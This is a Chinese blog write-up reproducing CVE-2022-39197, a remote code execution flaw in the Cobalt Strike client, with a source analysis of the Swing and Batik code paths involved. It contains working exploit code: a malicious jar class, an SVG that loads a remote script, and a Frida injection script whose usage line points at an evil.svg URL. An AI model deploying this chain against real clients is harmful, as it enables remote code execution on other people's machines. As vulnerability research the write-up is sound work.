cs rce复现
一,前言
最近老大让我改一下cs功能方便获取流量,让人工智能学习。对此我加了三个功能,批量执行命令,批量上传文件,批量下载文件。
机会难得,我顺便研究了一下cs rce,其中有个坑是svg文件和远程加载的jar包主机不一致,导致报错
二,环境
cs4.0
jdk8
python 3.8.10
三,复现
1.反编译
网上下载cs后,将客户端的jar进行反编译(我使用的是idea自带的反编译工具java-decompiler)
java -cp "E:\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true jar/cobaltstrike.jar decompiler_test
2.环境搭建
①,新建一个java项目,项目下新建两个Directory,lib和decompiled_src,分别存放原始cs客户端jar包和反编译的代码
②将jar包加入到项目中(记得点上钩)
选择file->project Structure->Modules->Dependencies->JARS or Directories...
③将cs启动类复制到src目录下
④指定启动类(指定为第三步复制到src目录的启动类)
成功指定后会生成以下文件
如此,cs客户端环境就搭建完成,方便后面调试
当你想修改或调试cs某个文件的时候,只需创建对应的目录,将其复制到目录下(比如某类package beacon.setup;则只需在src下创建beacon.setup包)
当想打包成jar的时候,只需build下选择以下操作
之后再out目录下会找到其jar包
指定启动客户端,会发现找不到cobaltstrike.auth,只需在resource目录下放入该文件即可
3.复现准备
将以下几个文件放在同一文件夹textCsRce
①准备远程加载jar(testRce.jar)
创建java项目,创建lib目录,将之加入到项目
src下创建RCE恶意类
点击查看代码
package com.cs.rce;
import org.apache.batik.script.ScriptHandler;
import org.apache.batik.script.Window;
import org.w3c.dom.Document;
import java.io.IOException;
public class RCE implements ScriptHandler {
public static void main(String[] args) {
// new RCE();
}
public RCE(){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void run(Document document, Window window) {
}
}
build成jar,复制出来
② 准备svg文件(http://127.0.0.1:8081/testRce.jar为你的jar包地址)(2.svg)
点击查看代码
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://127.0.0.1:8081/testRce.jar">
</script>
</svg>
④准备py脚本文件(cve-2022-39197.py)
点击查看代码
import frida
import time
import sys
def processInject(target, url):
print('[+] Spawning target process')
pid = frida.spawn(target)
session = frida.attach(pid)
frida_script = '''
var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='USER_PAYLOAD'></param></object>"
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
Interceptor.attach(pProcess32Next, {
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "beacon.exe") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
})
'''.replace("USER_PAYLOAD", url)
script = session.create_script(frida_script)
script.load()
frida.resume(pid)
# make sure payload is triggered on client
print("[+] Waiting for 100 seconds")
time.sleep(100)
frida.kill(pid)
print('[+] Done! Killed beacon process.')
exit(0)
if __name__ == '__main__':
if len(sys.argv) == 3:
processInject(sys.argv[1], sys.argv[2])
else:
print("[-] Incorrect Usage!\n\nExample: python3 {} beacon.exe http://10.10.10.2:8080/evil.svg".format(sys.argv[0]))
四,开始复现
②启动cs客户端,启动服务端
③textCsRce目录下下启动http服务
python -m http.server 8081
④启动Python脚本,使之在cs上上线
python3 cve-2022-39197.py beacon.exe http://127.0.0.1:8081/2.svg
⑤cs上线目标反键,explorer->process List
等进程出来后,下翻,触发命令执行(弹)(至于为什么是这样,看看脚本就知道了)
五,源码解析
①,起点
只要我们的payload带有<html>
标签,就会被swing格式化为html文档进行解析。
一听到这,大家马上就会想到有html注入之称的xss,那我们可以用那些标签呢?
我们直接到看swing的html解析器就可以啦
首先查看javax.swing.text.html.HTMLDocument,进去搜索Html.tag.LINK
看到我们的老朋友link标签,其关联了一个LinkAction事件,script标签等众多标签,但实际上很多标签支持的属性有限,功能有所残缺,达不到我们的要求。
之后查看javax.swing.text.html.HTML.HTMLEditorKit的create(Element elem)方法,在这里我们可以看到不同的标签会创建不同的view,其中就有大佬构造payload的object标签
进入objectview,看看到底是什么东西
从最上面的注释,看这例子,是不是有种低版本fastjson反序列化的感觉,指定一个类,指定一个属性,指定属性值。至于到底是怎么处理的上面注释有解释,作者英语不好,所以翻译一下
简单来说,就是会根据标签的classid加载该类,如果成功的话会将该类实例化,并且可以根据param进行参数传递,接着看一下后续代码,我们接着看下创建组件的逻辑(createComponent()),
大概意思是获取标签的classid,之后通过反射将类进行实例化,如果是component子类的话,才会进行参数的传递
再看看参数是如何传递的,也就是setParameters(comp, attr);
该方法的主要逻辑是遍历对象的所有属性,标签获取该对应属性的值,如果是字符串就获取其对应的set方法,之后通过反射调用set方法传值。
综上所述,使用该标签,可达到实例化指定的类,并通过反射调用set方法传值,但需要满足以下条件
1.类对象必须是Component的子类
2.由于使用的是newInstance();实例化,所以需要一个无参构造器(构造方法,函数)
3.其set方法有且只有一个字符串类型的参数
那符合条件又能被利用的类该如何寻找呢?
可以使用codeql 等白盒工具进行自动化筛选
②可供利用的类
有师傅寻找到org.apache.batik.swing.JSVGCanvas类就符合我们的条件,set的属性为URI。
为方便解释,可创建临时测试类
点击查看代码
package learn;
import javax.swing.*;
public class SwingDemo2 {
// private static final String HTML_TEXT = "<html><object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:8001/2.svg\"></object>";
// private static final String HTML_TEXT = "<html><object classid=\"javax.swing.JLabel\"><param name=\"text\" value=\"chabao is handsome\"></object>";
private static final String HTML_TEXT = "<html><object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:8081/2.svg\"></object>";
public static void main(String[] args) {
init();
}
private static void init() {
JFrame frame = new JFrame("这是我们的JFrame窗口。");
frame.setLayout(null);
frame.setBounds(300, 200, 600, 400);
// 设置文字JLabel
JLabel label = new JLabel(HTML_TEXT);
label.setLayout(null);
label.setBounds(100,100,300,400);
frame.add(label);
frame.setVisible(true); // 设置窗口可见
// 关闭事件
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
}
private static void doMain() {
}
}
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://127.0.0.1:8081/2.svg"></object>
上面已经分析了swing解析object标签,实例化指定的类并调用set方法的逻辑,下面直接分析JSVGCanvas的setUri方法的利用逻辑
他首先会去访问2.svg并解析,之后根据标签内容远程加载我们的jar包,但他对我们的jar包有所现状
org.apache.batik.bridge.BaseScriptingEnvironment#loadScript直接在该方法处打断点
根据1处可知,类型要为application/java-archive
我们在2.svg里面指定
根据2处可知META-INF/MANIFEST.MF中Script-Handler的值需要不为null,所以
注意:接收对象为ScriptHandler,所以我们实例化的类需要实现该接口
3处会将我们2处获得的类进行实例化,我们只需在静态代码块中添加恶意代码,就会被执行
有个坑需要警惕,当我们读取的svg host和和远程加载jar包的host不一致的时候(比如http://127.0.0.1:8081/2.svg和http://192.168.95.1:8081/testRce.jar),会报以下错误,那到底是为什么呢?
到我们断点所填的那一步
this.checkCompatibleScriptURL(var6, var25);
他会经过一系列调用,到这个方法 org.apache.batik.swing.svg.AbstractJSVGComponent#getScriptSecurity
如果为null,就new一下这东西(这个地方为null)
看看他new的时候执行的操作(构造器),由于host不一样,致使他下面的if判断通过,se被赋值
se被赋值的下场,就是抛出异常
六,写后感
参考链接
https://blog.csdn.net/m0_49443776/article/details/128175690
天下大木头:http://wjlshare.com/archives/1529
忍者大佬:https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
本文来自博客园,作者:lzstar-A2,转载请注明原文链接:https://www.cnblogs.com/lzstar/p/15399235.html
作 者:lzstar-A2
出 处:https://www.cnblogs.com/lzstar/
关于作者:一名java转安全的在校大学生
版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。
特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!
欢迎大家关注安全学习交流群菜鸟联盟(IThonest),如果您觉得文章对您有很大的帮助,您可以考虑赏博主一杯可乐以资鼓励,您的肯定将是我最大的动力。thx.
菜鸟联盟(IThonest),一个可能会有故事的qq群,欢迎大家来这里讨论,共同进步,不断学习才能不断进步。扫下面的二维码或者收藏下面的二维码关注吧(长按下面的二维码图片、并选择识别图中的二维码),个人QQ和微信的二维码也已给出,扫描下面👇的二维码一起来讨论吧!!!